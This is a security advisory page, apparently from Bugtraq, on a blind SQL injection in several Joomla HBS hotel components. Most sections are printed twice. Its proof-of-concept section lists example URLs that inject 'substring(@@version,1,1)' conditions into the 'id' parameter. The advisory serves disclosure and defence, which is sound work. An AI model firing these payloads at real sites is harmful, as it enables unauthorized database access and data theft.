Joomla HBS Multiple Components 'showhoteldetails' SQL Injection Vulnerability
BID:32952
Info
Joomla HBS Multiple Components 'showhoteldetails' SQL Injection Vulnerability
| Bugtraq ID: | 32952 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 21 2008 12:00AM |
| Updated: | May 01 2009 03:36PM |
| Credit: | boom3rang, Hussin X and EcHoLL |
| Vulnerable: |
Joomla HBS com_tophotelmodule 1.0 Joomla HBS com_lowcosthotels 0 Joomla HBS com_allhotels 0 Joomla HBS com_5starhotels 0 |
| Not Vulnerable: |
Joomla HBS com_tophotelmodule 1.5 |
Discussion
Joomla HBS Multiple Components 'showhoteldetails' SQL Injection Vulnerability
Multiple Joomla HBS components are prone to an SQL-injection vulnerability because they fail to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the applications, access or modify data, or exploit latent vulnerabilities in the underlying database.
The following components are vulnerable:
'com_tophotelmodule' 1.0
'com_lowcosthotels'
'com_allhotels'
'com_5starhotels'
Other components may also be affected.
Multiple Joomla HBS components are prone to an SQL-injection vulnerability because they fail to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the applications, access or modify data, or exploit latent vulnerabilities in the underlying database.
The following components are vulnerable:
'com_tophotelmodule' 1.0
'com_lowcosthotels'
'com_allhotels'
'com_5starhotels'
Other components may also be affected.
Exploit / POC
Joomla HBS Multiple Components 'showhoteldetails' SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.example.com/p2/index.php?option=com_tophotelmodule&task=showhoteldetails&id=1 and substring(@@version,1,1)=4 -->FALSE
http://www.example.com/p2/index.php?option=com_tophotelmodule&task=showhoteldetails&id=1 and substring(@@version,1,1)=5 -->TRUE
http://www.example.com/index.php?option=com_lowcosthotels&task=showhoteldetails&id=13+and%20substring(@@version,1,1)=5
http://www.example.com/index.php?option=com_lowcosthotels&task=showhoteldetails&id=13+and%20substring(@@version,1,1)=4
http://www.example.com/index.php?option=com_allhotels&task=showhoteldetails&id=1+and%20substring(@@version,1,1)=5
http://www.example.com/index.php?option=com_allhotels&task=showhoteldetails&id=1+and%20substring(@@version,1,1)=4
The following exploits are available:
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.example.com/p2/index.php?option=com_tophotelmodule&task=showhoteldetails&id=1 and substring(@@version,1,1)=4 -->FALSE
http://www.example.com/p2/index.php?option=com_tophotelmodule&task=showhoteldetails&id=1 and substring(@@version,1,1)=5 -->TRUE
http://www.example.com/index.php?option=com_lowcosthotels&task=showhoteldetails&id=13+and%20substring(@@version,1,1)=5
http://www.example.com/index.php?option=com_lowcosthotels&task=showhoteldetails&id=13+and%20substring(@@version,1,1)=4
http://www.example.com/index.php?option=com_allhotels&task=showhoteldetails&id=1+and%20substring(@@version,1,1)=5
http://www.example.com/index.php?option=com_allhotels&task=showhoteldetails&id=1+and%20substring(@@version,1,1)=4
The following exploits are available:
Solution / Fix
Joomla HBS Multiple Components 'showhoteldetails' SQL Injection Vulnerability
Solution:
The vendor indicates that this issue will be addressed in version 1.5 of the components. Please contact the vendor for more information.
Solution:
The vendor indicates that this issue will be addressed in version 1.5 of the components. Please contact the vendor for more information.
References
Joomla HBS Multiple Components 'showhoteldetails' SQL Injection Vulnerability
References:
References:
- Joomla HBS Home Page (Joomla HBS)
- Joomla! Homepage (Joomla )
- joomla com_lowcosthotels sql injection ([email protected])